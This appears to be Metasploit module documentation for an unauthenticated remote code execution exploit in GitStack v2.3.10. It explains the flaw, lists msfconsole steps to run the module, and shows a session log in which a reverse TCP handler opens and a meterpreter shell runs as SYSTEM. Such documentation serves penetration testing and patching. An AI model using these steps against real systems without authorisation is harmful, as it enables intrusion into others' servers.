69 lines
2.3 KiB
Markdown
69 lines
2.3 KiB
Markdown
## Description
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An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This
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module exploits the vulnerability by sending unauthenticated REST API requests to put the
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application in a vulnerable state, if needed, before sending a request to trigger the exploit.
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These configuration changes are undone before the module exits. The module has been tested on
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GitStack v2.3.10.
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## Vulnerable Application
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In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function.
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To exploit the vulnerability, the repository web interface must be enabled, a repository must
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exist, and a user must have access to the repository.
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Note: A passwd file should be created by GitStack for local user accounts.
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Default location: `C:\GitStack\data\passwdfile`.
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## Verification Steps
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* Install a vulnerable GitStack application
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* `./msfconsole`
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* `use exploit/windows/http/gitstack_rce`
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* `set rhost <rhost>`
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* `set verbose true`
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8 `run`
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Note: You may have to run the exploit multiple times since the powershell that is generate has to
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be under a certain size.
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## Scenarios
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### GitStack v2.3.10 on Windows 7 SP1
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```
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msf5 > use exploit/windows/http/gitstack_rce
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msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122
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rhost => 172.22.222.122
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msf5 exploit(windows/http/gitstack_rce) > set verbose true
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verbose => true
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msf5 exploit(windows/http/gitstack_rce) > run
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[*] Started reverse TCP handler on 172.22.222.131:4444
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[*] Powershell command length: 6103
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[-] Web interface is disabled
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[-] No repositories found
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[+] Web interface successfully enabled
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[+] The repository has been successfully created
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[+] Created user: ZROTE
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[+] User ZROTE added to EsILm
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[*] Sending stage (252483 bytes) to 172.22.222.122
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[+] ZROTE removed from EsILm
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[+] ZROTE has been deleted
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[+] Web interface successfully disabled
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[+] EsILm has been deleted
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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meterpreter > sysinfo
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Computer : WIN-V438RLMESAE
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OS : Windows 7 (Build 7601, Service Pack 1).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 1
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Meterpreter : x86/windows
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meterpreter >
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```
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